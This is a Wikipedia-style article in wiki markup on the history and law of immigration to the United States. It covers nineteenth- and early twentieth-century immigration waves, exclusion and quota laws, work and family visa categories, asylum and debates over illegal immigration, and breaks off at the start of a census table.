[[Image:Stamp-us-irish-immigration.jpg|thumb|[[United States Postal Service|U.S. postage stamp]] commemorating the vast [[Irish people|Irish]] immigration to North America during the [[Irish Potato Famine (1845-1849)|Great Potato Famine]]]]

===Immigration 1850 to 1930=== 
*see table 4 at end
====Immigration in Detail====
Between 1850 and 1930 about 5 million [[Germany|Germans]] immigrated to the United States with a peak in the years between 1881 and 1885, when a million Germans left Germany and settled mostly in the [[U.S. Midwest|Midwest]].  Between 1820 and 1930, 3.5 [[British]] (mostly Protestant) and 4.5 million [[Irish]] (mostly Catholic) entered America.  Before the 1840's most Irish immigrants were Irish Presbyterians or [[Scotch-Irish]].  After 1840, the Catholics arrived in large numbers, in part because of the famines of the 1840s. . 

Between [[1840]] and [[1930]], about 900,000 [[French Canadian]]s left [[Quebec]] to emigrate to the United States and settled mainly in [[New England]]. Given the Quebec population at the time, this was a massive exodus. 13.6 million Americans claimed to have French ancestry in the 1980 census. A large proportion of them have ancestors who emigrated from [[French Canada]].

The years [[1910]] to [[1920]] were the highpoint of [[Italian American|Italian]] immigration to the United States. Over 2 million Italians immigrated in those years, with a total of 5.3 million immigrating between 1820 and 1980. About a third of them returned to Italy, after working an average of 5 years in the US.

About 1.5 million Swedes and Norwegians immigrated to the United States within this period, due to opportunity in America and poverty and religious oppression in united [[Sweden-Norway]]. This accounted for around 20% of the total population of the kingdom at that time. They settled mainly in the Midwest after their arrival in America; Minnesota in particular has a large proportion of people with Swedish and Norwegian ancestry. Danes, however, had comparably low immigration rates due to a better government and economy; most Danish immigrants were [[Mormon]] converts who moved to [[Utah]].

Over 2 million Eastern Europeans, mainly Catholics, immigrated during the years of 1880 to 1924. People of [[Poles|Polish]] ancestry are the largest Eastern European ancestry group in the United States. Immigration of Eastern Orthodox ethnic groups was much lower.

From 1880 to 1924, around 2 million Jews moved to the United States, mostly seeking better opportunity in America and fleeing the [[pogroms]] of Eastern Europe. After 1933 Jews who tried to flee [[Nazi Germany]] were often denied access to the United States, highlighted by the event of the [[S.S. St. Louis]].

==Laws concerning immigration and naturalization==
The first naturalization law in the United States was the 1795 [[Naturalization Act]] which restricted citizenship to &quot;free white persons&quot; who had resided in the country for five years. The next significant change in the law came in 1870, when the law was broadened to allow both [[whites]] and [[African-Americans]], though [[Asia]]ns were still excluded from citizenship. Immigration was otherwise unlimited.

In 1882 the [[Chinese Exclusion Act (United States)|Chinese Exclusion Act]] specifically forbade [[China|Chinese]] immigration, overturning the 1868 [[Burlingame Treaty]] that had encouraged it. The &quot;temporary&quot; ban was extended repeatedly and made permanent in 1904. It was the culmination of decades of agitation, particularly by [[California]]ns, who had passed their own [[Anti-Coolie Act]] in 1862. The ban was deeply resented in Asia, but was not repealed until 1943, and only then to reward a [[World War II]] wartime ally. 

In order to avoid the same humiliation, the [[Japan|Empire of Japan]] negotiated the [[Gentlemen's Agreement]] in 1907, a protocol that required Japan to prevent her citizens from emigrating to the U.S. in exchange for better treatment of those already living there. 

Congress also banned persons because of their health, beliefs, or lack of education. An 1882 law banned entry of &quot;lunatics&quot; and infectious disease carriers, and the 1901 [[Anarchist Exclusion Act]] kept people out because of their political beliefs. A literacy requirement was added in [[Immigration Act of 1917]]. 

In 1921, the United States Congress passed the [[Emergency Quota Act]] establishing national quotas on immigration. The quotas were based on the number of foreign-born residents of each nationality who were living in the United States as of the 1910 census. A more complex quota plan replaced this &quot;emergency&quot; system under the [[Immigration Act of 1924]]. One major change was that the reference census used was changed to that of 1890, which greatly reduced the number of Southern and Eastern European immigrants. Immigrants from most of the [[Western Hemisphere]], however, were admitted outside the quota system. 

The [[McCarran-Walter Act|Immigration and Nationality Act of 1952]] (the McCarran-Walter Act) revised the quotas again, basing them on the 1920 census. For the first time in American history, racial distinctions were omitted from the U.S. Code. Nevertheless, most of the quota allocation still went to immigrants from [[Ireland]], the [[United Kingdom]] and [[Germany]]. The anti-subversive features of this law are still in force and have been used to bar the entry of countless individuals based upon their political expressions.

The [[Immigration and Nationality Act Amendments of 1965]] (the Hart-Cellar Act) abolished the system of national-origin quotas. There was, for the first time, a limitation on Western Hemisphere immigration (120,000 per year), with the Eastern Hemisphere limited to 170,000. Most of these numbers were allocated to immigrants who were relatives of United States citizens.

In 1986, the [[Immigration Reform and Control Act of 1986 | Immigration Reform and Control Act]] was passed, creating for the first time penalties for employers who hire illegal immigrants. IRCA also contained an amnesty for illegal immigrants already in the United States, and mandated the intensification of the activities of the [[United States Border Patrol]], increasing the militarization of the [[US-Mexico border]]. 

By one account, the actual number of annual legal immigrants was estimated at 500,000 to 600,000 in 1989.  This subsequently increased and is now well over 1 million annually, not including illegal migration or temporary work visas.

Several pieces of legislation signed into law in 1996 marked a turn towards harsher policies for both legal and illegal immigrants. The [[Anti-Terrorism and Effective Death Penalty Act]] (AEDPA) and [[Illegal Immigration Reform and Immigrant Responsibility Act]] (IIRIRA) vastly increased the categories of criminal activity for which immigrants, including [[United States Permanent Resident Card|green card]] holders, can be deported and imposed [[mandatory detention]] for certain types of deportation cases. As a result, well over 1,000,000 individuals have been deported since 1996. 

See also: [[List of United States Immigration Acts]]

==Contemporary immigration==
Contemporary immigrants settle very predominantly in seven states: [[California]], [[New York]], [[Florida]], [[Texas]], [[Pennsylvania]], [[New Jersey]] and [[Illinois]]. The combined total immigrant population of these seven states formed 70% of the total foreign-born population as of 2000.

There are a number of discernable categories of immigrants to the United States, each with unique and shared issues.



===Nonimmigrant visas (mostly work visas)===
There are a number of employment-based temporary visas (defined as &quot;nonimmigrant&quot; visas under the immigration law), including the following popular ones, among others:

====H-1B====
The H-1B classification is for professional-level jobs that require a minimum of a bachelor’s degree in a specific academic field. In addition, the employee must have the degree or the equivalence of such a degree through education and experience. Before the H-1B petition can be filed with [[U.S. Citizenship and Immigration Services|USCIS]] the employer must file a “Labor Condition Application (LCA) with the Department of Labor demonstrating that it is paying the required wage for this position in the geographic region where the job is located. The required wage for the position is the higher of the “actual wage” that is paid to other employees in this position or the “prevailing wage” which is determined by government surveys and the state labor office offices.

As a general rule, a person who is in one nonimmigrant status may not change status or change employers in that status until he or she applies with USCIS for such a change, and such change is granted. However, a provision called “H-1B portability” permits certain individuals already in the United States in H-1B status to commence employment for a new employer once a new employer’s H-1B petition is filed with USCIS. 

At the dawn of the 21st century, the controversy revived when many high-tech and software-engineering workers started to arrive from abroad on &quot;H-1B&quot; [[visa (document) | visa]]s. [[H-1B visa|H-1B]] expansion was widely unpopular, but was supported by a number of different groups, including campaign donations from corporate interests and from persons who support the arrival of persons from abroad who are highly skilled. Critics claimed that these visas decreased the wages of American citizens, displaced American citizens, enabled corporations to enforce extreme workplace discipline and get around laws concerning working conditions, created national security problems and increased the risk of transmitting new diseases to the United States. However, except for isolated cases of abuse, these fears are mostly unwarranted. In order to obtain an H-1B visa, the employer must show that it will pay the higher of the prevailing local wage or the wage it pays other U.S. who have similar education and experience. The employer is not required to prove there are no American workers available to perform the work unless the employer has a high percentage of current workers in H-1B status (&quot;H-1B dependent&quot;).  However, some economists saw H-1B expansion as an assault on the American middle class that benefited the wealthy and made it impossible to maintain traditional American standards of living, or provide incentives to improve productivity as rapidly as nations like Japan with more restrictive immigration policies.

The companies who imported the workers usually argued that the U.S. lacked enough American citizens to do the work. A few economists argued that, whatever the truth of that assertion, importing the workers provided more benefits to the U.S., and otherwise the recruiting companies would simply offshore the entire operation. It was claimed this would likely prove worse for the U.S. economy as a whole, because in the first scenario foreign national workers living in the United States would at least spend money in the United States, while the multi-national corporations that would purportedly export the jobs to overseas locations would probably not pass down as much of the savings to the U.S. consumer who purchased for them.

====L-1 intracompany transferee====
The L-1 classification is for international transferees who have worked for a related organization abroad for at least one year in the past three years that will be coming to the United States to work in an executive or managerial (L-1A) or specialized knowledge capacity (L-1B). 

To qualify as an international executive, the employee must meet the following requirements:

*Direct the management of the organization or a major component or function;
*Establish the goals and policies of the organization, component, or function;
*Exercise wide latitude in discretionary decision-making; and
*Receive only general supervision or direction from higher-level executives, the board of directors, or stockholders of the organization.

To qualify as an international manager, the employee must meet the following requirements:

*Manage the organization or department, subdivision, function or component of the organization;
*Supervise and control the work of other supervisory, professional or managerial employees, or manage an essential function within the organization, or a department or subdivision of the organization;
*The authority to hire and fire, or recommend hire/fire and other personnel actions (such as promotion and leave authorization), or if no employees are directly supervised, functions at a senior level within the organizational hierarchy or with respect to the function managed; and
**Exercises discretion over the day-to-day operations of the activity or function for which the employee has authority.

To qualify as a specialized knowledge transferee, the employee must meet the following requirements: 

*Possess knowledge of the company product and its application in international markets; or 
*An advanced level of knowledge of processes and procedures of the company.

An employee has specialized knowledge if the knowledge is different from that generally found in the particular industry. Possible characteristics of an employee who possesses specialized knowledge including knowledge that is valuable to the employers competitiveness in the market place; knowledge of foreign operating conditions as a result of special knowledge not generally found in the industry; has worked abroad in a capacity involving significant assignments which have enhanced the employer’s productivity, competitiveness, image or financial position; possesses knowledge which normally can be gained only through prior experience with that employer; or possesses knowledge of a product or process which cannot be easily transferred or taught to another individual.

====TN Visa (TN-1) for Canadians/Mexicans to work in the United States====
'''General Information about TN Status'''
Since the effective date of January 1, 1994, (NAFTA) facilitates travel to and employment in the United States (U.S.) of certain Canadian and Mexican workers. NAFTA created TN classification for eligible Canadian and Mexican professional workers and affected terms of Canadians’ admissions to the U.S. under other classifications.
A TN position must require services of a NAFTA professional whose profession is noted in Appendix 1603.D.1 (see attached Appendix 1603.D.1); the TN employee must possess the credentials required as well as proof of qualifying citizenship. TN status allows unlimited multiple entries to the U.S. for the period of service required by the U.S. employer (includes foreign employers), up to a maximum of one year, extendible indefinitely as long as the temporary purpose of the employment continues.

There is no annual limit on Canadians granted TN status. 

'''Self-Employment in the U.S. Not Permitted'''
TN: Members of Appendix 1603.D.1 professions who are self-employed outside the U.S. may pursue business relationships from outside the U.S. (e.g. contracts for services) with U.S.-based companies and obtain TN status to engage in these prearranged activities in the U.S. However, under TN classification an alien is not permitted to come to the United States to engage in self-employment in the United States, nor to render services to a corporation or other entity in which he/she is a controlling owner or shareholder.
Other NAFTA Admissions Categories
Nationals Canada and Mexico may also seek admission as B-1 (business visitor), E-1 (treaty trader), E-2 (treaty investor), or L-1 (intra-company transferee) nonimmigrants under NAFTA. This bulletin does not address those alternatives.

'''TN Processing and Admissions Procedure'''
Canadians may apply for TN-1 classification directly at a U.S. Class “A” port-of-entry, at a U.S. airport handling international traffic, or at a U.S. pre-flight/pre-clearance station in Canada1. Documentation must include:
*Proof of Canadian citizenship,
*$50 filing fee,
*Proof of required Appendix 1603.D credentials; and
*Letter from U.S. employer (or a sending employer in Canada) describing nature and duration of professional employment and salary/wages in the U.S2.

Canadian citizens are visa exempt and do not need consular visas to travel or apply for admission to the U.S. TN-1 applicants at land ports-of-entry must also pay a modest I-94 fee.

TN-2 non-immigrants from Mexico must be approved beneficiaries of I-129 petitions filed by prospective US employers and approved by the Department of Homeland Security, U.S. Citizenship and Immigration Services’ Nebraska Service Center. Documentation must include:
*Proof of Mexican citizenship,
*Form ETA-90353 Labor Condition Attestation (LCA) certified by the US Labor Department,
*$130 filing fee,
*Proof of the purpose for entry, and proof of participation in a permitted NAFTA professional activity.

Mexicans applying for admission to the US under TN-2 classification must obtain visas at US consulates. Note that the above requirements will sunset on December 31, 2003. On and after January 1, 2004, Mexican TNs will file the necessary paperwork with a Department of State Consulate in Mexico in order to receive a TN visa. Visit the Department of State web site for more information on the procedures Mexican citizens must follow in order to obtain a TN visa.

'''Family Members'''
Spouses and unmarried children under 21 of Canadian and Mexican professionals obtain TD status. They can be included on the application of the TN principal (no separate filing fees) and admitted for the same duration of stay. TD nonimmigrants may study in the US under this classification, but are not authorized for employment. Canadian dependents’ eligibility may be adjudicated at a US port-of-entry. Although Mexican family members are automatically included in TN petitions filed at the Nebraska Service Center, they must file separate application for TD visas at US consulates.
Note: Dependents are not required to be Canadian or Mexican citizens.

====K Visas for immediate relatives====
Even though these visas are issued to people who have the intent to immigrate permanently to the United States, they are still technically classified as nonimmigrant visas (temporary).  U.S. [[citizens]] may petition the [[U.S. Citizenship and Immigration Services|USCIS]] for a K temporary visa for fiancé(e)s, spouses and unmarried dependent children of said fiancé(e)s and spouses.  In the case of fiancé(e)s, the K-1 visa will allow them to stay in the U.S. for 90 days to marry the petitioning citizen and apply for adjustment of status to legal permanent resident.  If the marriage is not concluded within that time, the fiancé(e) will be subjected to [[removal proceedings]].  In the case of spouses, the K-3 visa is valid for two years and may be extended indefinitely as long as the marriage on which it is based is not dissolved.  The holders of K-3 and K-4 status are eligible for work authorization and may leave and re-enter the United States as long as their visas are still valid.

====V Visas and LIFE act for Spouses of Legal Permanent Residents (Green Card Holders)====
Unification of Legal Permanent Residents, (LPRs, a.k.a. Green Card Holders) with their spouses continues to stay under the Radar Screens of policy makers. The issue of Lawful Permanent Residents torn from their families for years is not a new problem.  A mechanism to unite families of LPRs was created by the Legal Immigration Family Equity Act of 2000 (the LIFE Act) by the introduction of a 'V Visa,' signed into law by President Bush. Unfortunately, it effectively expired and is no longer available.

Legal Permanent Residents who have opted to get married to foreigners are unable to be united with their spouses and young families. The foreign spouse of a US Green Card holder must wait for approval of an 'immigrant visa' from the State Department before entering the US. Due to a backlog in processing, such visas can take a upwards of five years to be approved. In the interim, the spouse cannot enter the US on any other visas, or as visitors. LPRs are in a uniquely disadvantaged situation: 
* Visitors and non-immigrants coming to the US on temporary visas for work, business or studies (including on H1, L1, B, and F1 visas) can sponsor their dependant spouses to travel along with them. 
* American Citizens can sponsor their spouses to come to the US in non-immigrant status and then convert to an immigrant status under the Legal Immigration and Family Equity Act (the &quot;LIFE Act&quot;) 

===Adjustment of Status===
'''Adjustment of status''' is the final step of what is commonly called the [[United States Permanent Resident Card|green card]] process, i.e. that of becoming a legal permanent resident. It requires that the foreign national in question file an I-485 Application for Adjustment of Status, most often based on a preexisting and approved or approvable I-140 Immigrant Petition for Alien Worker or I-130 Petition for Alien Relative. Due to comprehensive immigration reform in 2002, I-485 applications and I-130 or I-140 petitions may be filed concurrently given the immediate availability of an immigrant visa number.  The application must be filed with an I-693 Medical Examination of Alien issued by a licensed Civil Surgeon and a G-325A Biographic Information form, which documents provide a complete medical and immunological history as well as a record of the foreign national's places of employment and residence for the last five years. The USCIS then sets a date for the foreign national to have their fingerprints, picture and signature recorded for their FBI background check and entry in the USCIS database. An interview with an USCIS officer is required in the vast majority of cases.  

A pending adjustment of status application entitles the applicant to work and travel authorization in the forms of an Employment Authorization Document (EAD) card and Advance Parole documents that must be renewed on a yearly basis. The application may be considered abandoned if the applicant does not attend a biometrics appointment or interview. Applications may also be denied for any of the following reasons:
# The underlying immigrant petition is denied or withdrawn
# The applicant is found to have entered or resided in the United States illegally (although this is waived for one who originally entered with a valid visa and is an immediate relative of the US citizen-petitioner)
# The applicant is judged as undesirable on the grounds of prior criminal convictions, affiliation with unsuitable political parties or organizations (e.g. former members of the [[Communist Party]]), poor character or debilitating health problems, as well as other grounds.

If an adjustment application is approved, a permanent residency card ([[United States Permanent Resident Card|green card]]) valid for ten years is issued to the applicant. Legal permanent residents (LPRs) are free to work and reside in the United States and may leave and re-enter without a visa although they are required to present the green card at the port-of-entry to an immigration officer.  After five years LPRs are eligible to apply for [[naturalization]], except that an LPR who obtained the green card through marriage may apply for naturalization after three years if he or she is still living with the same spouse who originally filed the petition for the LPR.

===Political asylum===
In contrast to economic refugees, who generally do not gain legal admission, other classes of refugees can gain legal status through a process of seeking and receiving [[refugee|political asylum]], either by being designated a refugee while abroad or by physically entering the United States and requesting asylee status thereafter.

Asylum is offered as part of the United States' obligation under the 1951 Convention Relating to the Status of Refugees and the 1967 Protocol Relating to the Status of Refugees. Under these agreements, a refugee is a person who is outside his or her country of nationality (or place of habitual residence if stateless) who, owing to a fear of persecution on account of a protected ground, is unable or unwilling to avail himself of the protection of the state. Protected grounds include race, nationality, religion, political opinion and membership of a particular social group. The signatories to these agreements are obliged not to return or &quot;refoul&quot; refugees to the place where they would face persecution.

Advocates of refugee protection claim that for the most part, such persons are fleeing warfare; escaping persecution based on political or religious beliefs; or are victims of torture in their countries of origin. Critics claim the process has been widely abused and large numbers of people claim persecution simply to obtain the benefits of living in the United States.  The primary benefit for such an asylum applicant is the eligibility for a work permit (employment authorization) by simply filing an application for asylum with  [[U.S. Citizenship and Immigration Services|USCIS]] (former [[Immigration and Naturalization Service|INS]]). To the later dismay of a large number of these applicants, however, if their claims of persecution are not backed up by genuine evidence or proofs, the claims are eventually denied and they are placed in removal (deportation) proceedings in the Immigration Court.  Since the effective date of the [[Illegal Immigration Reform and Immigrant Responsibility Act|1996 IIRIRA legislation]], an applicant must apply for asylum within one year of entry or be barred from doing so unless there were certain exceptional circumstances.  Some asylum cases have been also granted based on [[sexual orientation]] or [[gender role|gender]], where cultural norms of the home country create and sustain conditions that make life unsafe or unbearable for the individual. 

As of 2004, recipients of political asylum faced a wait of approximately 14 years to receive permanent resident status after receiving their initial asylee status, because of an annual cap of 10,000 green cards for this class of individuals.  However, in May 2005, under the terms of a proposed settlement of a class-action lawsuit, Ngwanyia v. Gonzales, brought on behalf of asylees against [[USCIS]], the government agreed to make available an additional 31,000 green cards for asylees during the period ending on September 30, 2007.  This is ''in addition'' to the 10,000 green cards allocated for each year until then.  This should speed up the green card waiting time considerably for asylees. However, the issue is rendered somewhat moot, since the enactment of the [[REAL ID Act of 2005]] (Division B of United States Public Law 109-13 (H.R. 1268)) eliminated the cap on annual asylee green cards  and currently an asylee who has continuously resided in the US for more than one year in that status has an immediately available visa number.

===Miscellaneous legal immigration===
In [[removal proceedings]] ([[deportation]]) in front of an [[immigration judge]], [[cancellation of removal]] is a form of relief that is available for certain long-time residents of the United States.  It allows a person being faced with the threat of removal to obtain permanent residence if that person: (1) has been physically present in the U.S. for at least ten years, (2) has had good moral character during that period, (3) has not been convicted of certain crimes, and (4) can show that removal would result in exceptional and extremely unusual hardship to his or her US citizen/permanent resident spouse, children, or parent.  Unfortunately, this form of relief is only available when a person is served with a Notice to Appear (like a civil summons) to appear in the proceedings in the [[Immigration Court]].  Many persons have received their green cards in this way even though removal or deportation was looming.

Member of Congress may submit [[private bill]]s granting residency to specific named individuals. A special committee vets the requests, which require extensive documentation. Congress has bestowed the title of &quot;[[Honorary Citizen of the United States]]&quot; to six people. The only two living recipients were [[Winston Churchill]] and [[Agnes Gonxha Bojaxhiu]] (Mother Teresa), the other instances were posthumous honors. 

The [[Central Intelligence Agency]] has the statutory authority to admit up to one hundred people a year outside of normal immigration procedures, and to provide for their settlement and support. The program is called &quot;PL110&quot; after the legislation that created the agency, [[Public Law 110]], the [[Central Intelligence Agency Act]].

===Illegal immigration===
One consequence of laws restricting the number and ethnicity of persons entering the USA is a phenomenon referred to as [[illegal immigration]], in which persons enter a country and obtain work without legal sanction. In some cases, this is accomplished by entering the country legally with a [[Visa (document)|visa]], and then simply choosing not to leave upon expiration of the visa. In other cases people enter the country surreptitiously without ever obtaining a visa. Often, people entering in this fashion are economic refugees&amp;mdash;a class of refugee not recognized by the [[U.S. Citizenship and Immigration Services]] (formerly the [[Immigration and Naturalization Service]]); these persons have left their home country in a desperate bid to provide financial support for themselves and/or their families. This is particularly true in cases where &quot;minimum wage&quot; in the U.S. is several times what the average laborer earns in a given country; such immigrants often send large portions of their income to their countries and families of origin. 

Much of the controversy today with immigration to the U.S. involves an increasing number of activists calling for a [[immigration reduction|reduction in illegal immigration]]. Critics of these activists say that those who call for an end to &quot;illegal immigration&quot; really advocate an end to all immigration, but do not realize it. Two claims made against immigration reduction activists by those opposed to restrictions on immigration are: 
# All the problems associated with illegal immigration ([[race to the bottom]] in wages, etc.) also apply almost equally to legal immigrants. 			
# They allegedly misunderstand the immigration process and do not realize that many immigrant workers who they see as replacing American citizens in jobs they can do have immigrated completely legally, albeit without citizenship (this number exceeds the number of illegal immigrants on a per-country basis).

On the other hand, those who would reduce immigration make the point that illegal immigrants do not pay income taxes, social security taxes, or other taxes collected only from citizens with social security numbers, yet those illegal immigrants do utilize the services and structures paid for by public money.  Much of this argument is based on false information. All employers are required by law to withhold income and payroll taxes.  Illegals usually use a false Social Security number--knowing that they will never receive benefits.  Of course, they all pay sales taxes, property taxes (directly or through landlords), gasoline taxes, hunting licenses, and so on.  In terms of benefits, the illegals are quite young (so few receive Social Security or Medicare) and seldom receive any welfare payments. The main cost to local government is the cost of public schools, which by law must be open to all children.  Most of the children of illegals are in fact American citizens because they were born in the US. Congress in early 2006 was debating provision to strip babies born in the US of their American citizenship if their parents were undocumented.

==Political issues surrounding immigration==
===Debates over immigration numbers===
In recent years a debate has arisen over the effect of high immigration levels into the United States on such issues as [[labour (economics)|labor]], [[wages]], and [[ecology]]. A movement has emerged which supports lower levels of legal and illegal immigration into the U.S. The most important of these groups is the [[Federation for American Immigration Reform]]. See: [[immigration reduction]].
There is also the issue of illegal immigrants coming to the US and giving birth, thus having children who are American citizens.

==Immigration in popular culture==
The history of immigration to the United States of America is, according to the claims of some, the history of the United States itself and the journey from beyond the sea is an element found in the [[American folklore|American myth]], appearing over and over again in everything from ''[[The Godfather]]'' to ''[[Gangs of New York]]'' to &quot;[[Song of Myself|The Song of Myself]]&quot; to [[Neil Diamond]]'s &quot;America&quot; to the [[animation|animated feature]] ''[[An American Tail]]''.

==Media==
{{multi-video start}}
{{multi-video item |
  filename      = Ellis Island immigration footage.ogg |
  title         = Ellis Island immigration footage, 1906 |
  description   =  Depicts scenes at the Immigration Depot and a nearby dock on Ellis Island. (3:37, 16.6 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}

{{multi-video end}}

==See also==
* [[European colonization of the Americas]]
* [[Demographics of the United States]]
* [[Ellis Island]]
* [[Citizenship]]
* [[Emigration]]
* [[Immigration]]
* [[Nationality]]
* [[Naturalization]]
* [[List of United States Immigration Acts]]
* [[Chinese American]] (includes lengthy history of Chinese immigration to the United states)
* [[Thai immigration to the United States]]
* [[Finnish immigration to North America]]

==References==
===Secondary sources===
* Archdeacon, Thomas J. ''Becoming American: An Ethnic History'' (1984)
* Berthoff. Rowland Tappan. ''British Immigrants in Industrial America, 1790-1950'' (1953).
* Bodnar, John. ''The Transplanted: A History of Immigrants in Urban America'' Indiana University Press, (1985)
* Briggs, John. ''An Italian Passage: Immigrants to Three American Cities, 1890-1930'' Yale University Press, (1978)
* Daniels, Roger. ''Asian America: Chinese and Japanese in the United States since 1850'' University of Washington Press, (1988)
* Daniels, Roger.  ''Coming to America'' 2nd ed. (2002)
* Daniels, Roger.  ''Guarding the Golden Door : American Immigration Policy and Immigrants since 1882'' (2005)
* Diner, Hasia. ''The Jews of the United States, 1654 to 2000'' (2004)
* Diner, Hasia. ''Hungering for America : Italian, Irish, and Jewish Foodways in the Age of Migration'' (2003)
* Eltis, David; ''Coerced and Free Migration: Global Perspectives'' (2002) emphasis on migration to Americas before 1800
* Gjerde, Jon, ed.  ''Major Problems in American Immigration and Ethnic History'' (1998) primary sources and excerpts from scholars. 
* Glazier, Michael, ed. ''The Encyclopedia of the Irish in America'' (1999), articles by over 200 experts, covering both Catholics and Protestants.
* Greene, Victor R. ''A Singing Ambivalence: American Immigrants Between Old World and New, 1830-1930'' (2004), coving musical traditions
* Joseph, Samuel; ''Jewish Immigration to the United States from 1881 to 1910'' Columbia University Press, (1914)
* Kulikoff, Allan; ''From British Peasants to Colonial American Farmers'' (2000), details on colonial immigration
* Meagher, Timothy J. ''The Columbia Guide to Irish American History''. (2005)
* Miller, Kerby M. ''Emigrants and Exiles'' (1985), influential scholarly interpretation of Irish immigration
* Henry A. Pochmann, and Arthur R. Schultz; ''German Culture in America, 1600-1900: Philosophical and Literary Influences'' (1957)
* Sowell, Thomas. ''Ethnic America: A History'' (1981), by a conservative economist
* Thernstrom, Stephan, ed. ''Harvard Encyclopedia of American Ethnic Groups'' (1980) (ISBN: 0674375122), the standard reference, covering all major groups and most minor groups
* U.S. Immigration Commission, ''Abstracts of Reports,'' 2 vols. (1911),
* Carl Wittke, ''We Who Built America: The Saga of the Immigrant'' (1939), covers all major groups
* Yans-McLaughlin, Virginia ed. ''Immigration Reconsidered: History, Sociology, and Politics'' Oxford University Press. (1990)

===Recent: post 1965===
* Bogen, Elizabeth. ''Immigration in New York'' (1987)
* Bommes, Michael  and Andrew Geddes. ''Immigration and Welfare: Challenging the Borders of the Welfare State'' (2000)
*  Borjas, George. ''Friends or Strangers'' (1990)
* Briggs, Vernon M., Jr. ''Immigration Policy and the America Labor Force'' John Hopkins University Press, 1984.
* Briggs, Vernon M., Jr. ''Mass Immigration and the National Interest'' (1992)
* Fawcett, James T., and Benjamin V. Carino. ''Pacific Bridges: The New Immigration from Asia and the Pacific Islands'' . New York: Center for Migration Studies, 1987.
* Foner, Nancy. ''In A New Land: A Comparative View Of Immigration'' (2005)
* Levinson, David and Melvin Ember, eds. ''American Immigrant Cultures'' 2 vol (1997) covers all major and minor groups
* Meier, Matt S. and Gutierrez, Margo, eds. ''The Mexican American Experience : An Encyclopedia'' (2003) (ISBN: 0313316430)
* Portes, Alejandro, and Robert L. Bach. ''Latin Journey: Cuban and Mexican Immigrants in the United States.'' Berkeley: University of California Press, 1985.
* Portes, Alejandro, and Jozsef Borocz. &quot;Contemporary Immigration: Theoretical Perspectives on Its Determinants and Modes of Incorporation.&quot; ''International Migration Review'' 23 (1989): 606-30.
* Portes, Alejandro, and Ruben Rumbaut. ''Immigrant America''. Berkeley: University of California Press, 1990. 
* Reimers, David. ''Still the Golden Door: The Third World Comes to America'' Columbia University Press, (1985).
* Smith, James P, and  Barry Edmonston, eds. ''The Immigration Debate: Studies on the Economic, Demographic, and Fiscal Effects of Immigration'' (1998), [http://www.nap.edu online version]
* Yang, Philip Q. ''Immigration to the United States: Structural Determinants'' (1995), statistical

==External links==
===History===
* [http://www.asian-nation.org/first.shtml Asian-Nation: Early Asian Immigration to the U.S.]
* [http://www.spartacus.schoolnet.co.uk/USAMproject.htm European Immigration to the United States]
* [http://www.cyndislist.com/immigrat.htm Cyndi's List - Immigration &amp; Naturalization]
* [http://home.att.net/~wee-monster/passengers.html U.S Immigration Records &amp; Passenger Lists Research Guide 1820-1940s]
* [http://www.amerikanetz.de/index.php?id=14&amp;L=1 Network for German (Westphalian) Emigration to America since the 19th Century]
* [http://www.ericdigests.org/1997-3/nyc.html The Education of Immigrant Children in New York City]
* [http://www.paperson.com One Chinese American Family's Story about coming to American under the Chinese Exclusion Act of 1882]
*[http://memory.loc.gov/learn/features/immig/irish2.html Irish Catholic Immigration to America]
*[http://memory.loc.gov/learn/features/immig/irish.html Scotch-Irish Immigration to Colonial America]

===Immigration policy===
* [http://www.ailf.org/ipc/ipc_index.asp American Immigration Law Foundation - Immigration Policy Center]
* [http://www.brookings.edu/gs/projects/immigration.htm/ Brookings Institute: Immigration Policy webpage]
* [http://www.carryingcapacity.org/  Carrying Capacity Network] 
*[http://digital.library.unt.edu/govdocs/crs/search.tkl?type=subject&amp;q=immigration&amp;q2=liv Read Congressonal Research Service (CRS) Reports regarding Immigration]
* [http://www.freetrade.org/issues/immigration.html Cato Institute's Center for Trade Policy Studies - Immigration webpage]
* [http://www.cis.org/ Center for Immigration Studies] 
* [http://www.derechoshumanosaz.net Coalición de Derechos Humanos]
* [http://www.diversityalliance.org/  Diversity Alliance for a Sustainable America] 
* [http://www.fairimmigration.org/ Fair Immigration Reform Movement] 
* [http://www.fairus.org/ Federation for American Immigration Reform] 
* [http://www.iwfr.org/ Immigrant Workers Freedom Ride Coalition] 
* [http://legalizationusa.org/ The Legalization Site] 
* [http://lonewacko.com/blog/archives/cat_immigration.html Lonewacko: Immigration category] 
* [http://www.migrationpolicy.org/ Migration Policy Institute] 
* [http://www.immigrationforum.org/ National Immigration Forum] 
* [http://www.nilc.org/ National Immigration Law Center] 
* [http://www.nnirr.org/ National Network for Immigrant and Refugee Rights] 
* [http://www.newamericanopportunitycampaign.org/ New American Opportunity Campaign]
* [http://www.numbersusa.com/  NumbersUSA] 
* [http://www.balance.org/ Population-Environment-Balance]
* [http://www.projectusa.org/ Project USA]
* [http://www.rightsworkinggroup.org/ Rights Working Group] 
* [http://www.visa2003.com/ U.S. Immigration.] 
* [http://www.urban.org/content/IssuesInFocus/immigrationstudies/immigration.htm/ Urban Institute: Immigration Studies webpage]
* [http://www.vdare.com/ VDARE]
* [http://www.zazona.com/ ZaZona]
* [http://unitefamilies.org/ unitefamilies.org] Lobby group working towards introduction of a 'V Visa'

===Current immigration===
* [http://uscis.gov/graphics/index.htm U.S. Citizenship and Immigration Services]
* [http://www.law.cornell.edu/topics/immigration.html Cornell University's Legal Information Institute: Immigration]


The [[U.S. Census, 1850|1850 United States census]] was the first federal U.S. census to query about the &quot;nativity&quot; of citizens&amp;mdash;where they were born, either in the United States or outside of it&amp;mdash;and is thus the first point at which solid statistics become available. From the [[U.S. Census]] [http://www.census.gov/population/www/documentation/twps0029/twps0029.html], this chart shows the place of birth of the non-native population. Note that the same immigrant will be counted in each census during which they lived, so the numbers are of the cumulative number of living non-native citizens.

&lt;TABLE CELLPADDING=&quot;5&quot; BORDER=&quot;0&quot;&gt;
  &lt;TR ALIGN=&quot;left&quot; VALIGN=&quot;top&quot;&gt;
    &lt;TH&gt;Table 4.&lt;/TH&gt;
    &lt;TH&gt;Region and Country or Area of Birth of the Foreign-Born&lt;BR&gt;
Population, With Geographic Detail Shown in Decennial Census&lt;BR&gt;
Publications of [[U.S. Census, 1930|1930]] or Earlier:  [[U.S. Census, 1850|1850]] to [[U.S. Census, 1930|1930]] and [[U.S. Census, 1960|1960]] to [[U.S. Census, 1990|1990]]&lt;/TH&gt;
  &lt;/TR&gt;
  &lt;TR&gt;
   &lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
